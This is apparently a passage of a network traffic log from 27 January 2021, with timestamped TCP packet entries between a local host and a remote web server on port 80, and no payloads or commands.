Jan 27, 2021 20:06:16.502758980 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502772093 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502784014 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502793074 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502806902 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502814054 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502823114 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502835035 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502850056 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502876043 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502882004 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502897978 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502912045 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502922058 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502928972 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502948999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502964973 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502971888 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502986908 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.502995014 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.502999067 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503019094 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503037930 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503053904 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503065109 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503076077 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503088951 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503097057 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503110886 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503125906 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503138065 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503148079 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503160954 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503170013 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503184080 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503191948 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503206015 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503215075 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503221989 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503237009 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.503249884 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.503272057 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.533989906 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.534046888 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.534065962 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.534099102 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.534126997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.534163952 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.534178019 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.534210920 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536293983 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536335945 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536359072 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536380053 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536417961 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536464930 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536477089 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536509037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536537886 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536587000 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536597013 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536632061 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536657095 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536705017 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536716938 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536747932 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536771059 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536808014 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536823034 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536855936 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536875010 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536911011 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.536927938 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536961079 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.536983013 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537019014 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537034988 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537066936 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537087917 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537125111 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537141085 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537177086 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537193060 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537229061 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537241936 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537271023 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537301064 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537339926 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537355900 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537405014 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537484884 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537530899 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537540913 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537573099 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537595034 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537631035 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537646055 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537678003 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537698030 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537733078 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537748098 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537779093 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537806988 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537851095 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537862062 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537894011 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.537921906 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537960052 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.537976027 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538003922 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538033009 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538077116 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538089037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538120985 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538189888 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538229942 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538247108 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538276911 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538299084 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538333893 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538348913 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538388968 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538398027 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538433075 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538446903 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538480997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538494110 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538526058 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538552999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538592100 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538611889 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538619041 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538647890 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538664103 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538698912 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538712978 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538743019 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538765907 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538813114 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538825035 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538857937 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538887978 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.538952112 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.538976908 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539014101 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539031029 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539083958 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539294958 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539330959 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539347887 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539387941 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539433956 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539470911 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539505005 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539525986 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539556980 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539592981 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539608002 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539643049 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539659023 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539695024 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539710999 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539748907 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539769888 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539853096 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539900064 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.539912939 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539921999 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539927006 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.539958954 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540003061 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540040016 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540055037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540091991 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540118933 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540160894 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540177107 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540214062 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540230036 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540271997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540282011 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540318012 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540368080 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540406942 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540425062 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540456057 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540477037 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540524960 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540565968 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540601015 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540616035 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540648937 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540678978 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540730953 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540745020 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540779114 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540807009 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540858030 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540870905 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540903091 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.540932894 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540985107 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.540997028 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541030884 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541059017 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541109085 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541121006 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541155100 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541182995 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541233063 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541244984 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541279078 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541306973 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541357994 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541369915 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541408062 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541452885 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541491032 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541507006 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541538954 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541558027 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541590929 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541604996 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541634083 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541656017 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541688919 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541702032 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541733980 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541764975 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541816950 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541829109 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541862011 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541891098 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541934967 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.541955948 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.541977882 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542048931 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542088032 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542104959 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542134047 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542161942 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542200089 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542215109 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542244911 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542275906 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542311907 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542325974 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542356968 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542376995 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542409897 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542423964 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542454958 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542485952 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542536020 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542547941 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542582035 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542612076 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542663097 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542675018 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542707920 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542758942 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542795897 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542813063 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542844057 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542869091 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542912006 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.542927980 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542953014 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542979956 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.542987108 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543008089 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543025970 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543036938 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543060064 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543071985 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543100119 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543113947 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543139935 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543154955 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543178082 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543194056 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543220997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543234110 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543257952 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543273926 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543301105 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543313980 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543340921 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543354988 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543399096 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543411016 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543436050 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543456078 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543478966 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543488026 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543513060 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543529987 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543550968 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543600082 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543627977 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543648958 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543653011 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543667078 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543678045 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543699980 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543723106 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543740988 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543764114 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543802977 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543812037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543836117 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543847084 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543870926 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543889999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543896914 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543919086 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543936968 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543961048 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.543977022 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543982983 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.543991089 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544011116 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544032097 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544054985 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544076920 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544089079 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544112921 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544120073 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544136047 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544140100 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544152021 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544173956 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544195890 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544212103 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544233084 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544239044 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544260025 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544270039 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544291973 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544302940 CET	49165	80	192.168.2.22	18.194.54.219
